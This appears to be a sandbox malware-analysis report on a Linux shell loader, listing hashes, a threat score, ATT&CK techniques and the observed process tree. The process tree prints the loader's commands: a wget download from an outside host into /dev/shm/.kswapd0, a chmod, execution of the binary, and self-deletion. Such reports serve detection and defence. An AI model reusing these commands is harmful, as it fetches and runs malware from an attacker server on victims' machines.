da41d24f215ed0146853358cff1a5aedca28b761e24390ffd75c2cef09ea47d9

Analysis

max time kernel
2s
max time network
0s
platform
debian-9_mipsel
resource
debian9-mipsel-20260126-en
resource tags

arch:mipselimage:debian9-mipsel-20260126-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
19/04/2026, 07:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
loader.sh
Size 1KB
Sample260419-jkd6nabs21
SHA256 da41d24f215ed0146853358cff1a5aedca28b761e24390ffd75c2cef09ea47d9
MD5 375cdcc505375d4be794c23a242330c7
SHA1 792c347ac0bf19658659a5570b7e79457f680c8d
SHA512 dd1c03f87ca161adfc1669d12a0af913a85838b76b12ec4db418303951e64e7f408082fd70f22ce76e85fb09de338536aa814948478b386e130427a7f389c2a2
TLSH
T16441ACCA7AA3D97297C7C4381FDAF501E35624430995ADA8B09EBC303F69120FCB1E56
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
733	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/dev/shm/.kswapd0	735	loader.sh

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/maps	awk

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.kswapd0	wget

/tmp/loader.sh
/tmp/loader.sh
1⤵
- Executes dropped EXE
PID:700
- /bin/uname
  uname -m
  2⤵
  PID:704
- /usr/bin/tr
  tr "[:upper:]" "[:lower:]"
  2⤵
  PID:705
- /usr/bin/od
  od -to2
  2⤵
  PID:709
- /bin/grep
  grep -q 49
  2⤵
  PID:711
- /usr/bin/awk
  awk "{print \$2; exit}"
  2⤵
  - Reads runtime system information
  PID:710
- /bin/rm
  rm -f /dev/shm/.kswapd0
  2⤵
  PID:719
- /usr/bin/wget
  wget -qO /dev/shm/.kswapd0 https://tg-xxooxx888.8964.mom/bins/kswapd0
  2⤵
  - Writes file to shm directory
  PID:721
- /bin/chmod
  chmod +x /dev/shm/.kswapd0
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /usr/bin/realpath
  realpath /tmp/loader.sh
  2⤵
  PID:736
- /dev/shm/.kswapd0
  /dev/shm/.kswapd0
  2⤵
  PID:735
- /bin/rm
  rm -f /tmp/loader.sh
  2⤵
  PID:738

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.kswapd0

Path /dev/shm/.kswapd0
Size 1.7MB
SHA256 74cefabce692f8a2be4d85e0082683e300b7170059b8becb89f1f17eee2f938e
MD5 6a5720968bbb94d478147a0f5b84e81e
SHA1 cd18d9840184b75578cac026b9e8b1a9e40f24f0
SHA512 47fc0d39698e640a4f2b78a785438424fbfea0e8f8435c74d4bdc6435da689f799bf97a019d7a968b9a73e42b36683e6bc01a2877fbe5097945c317032173860
SSDEEP 24576:rw4rU/G2GecdLh26Cd0Y3p3/TbKH8+PPVQ766uwBT7vIa95evv+bJTq0cCVxU7ie:rJpsECCqpvTIPVD8tUa+X+bJTq0c6e7J
TLSH
T18585338AF3BB07B1B44AFF756B35C558AC955E7801F07433CE46503A1A2A93E530B98B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.wget-hsts

Path /root/.wget-hsts
Size 176B
SHA256 b767f2d634dc56cd38eb70c4d8ed0dd9807bbe9247a22c8fde551d56086e687e
MD5 cacf8e25418934be03392ff71b3cf9d0
SHA1 085842a32c4bee7c666f5584d4a8c2c346ce7137
SHA512 ff128545a3d8abd0e3823ed77b98b85b35a8415c77ab1a5d334254e33f1bfd1ccb87398f001ed61c67a4ea2769ba9a09af2ec6ebb085cf507a793b8e12a02e3e
TLSH
T15CC0C02BA004E200004045F1B083381A21D8F11427905C8D4C06C3302528100F8D5C1C
MD5 SHA1 SHA512 TLSH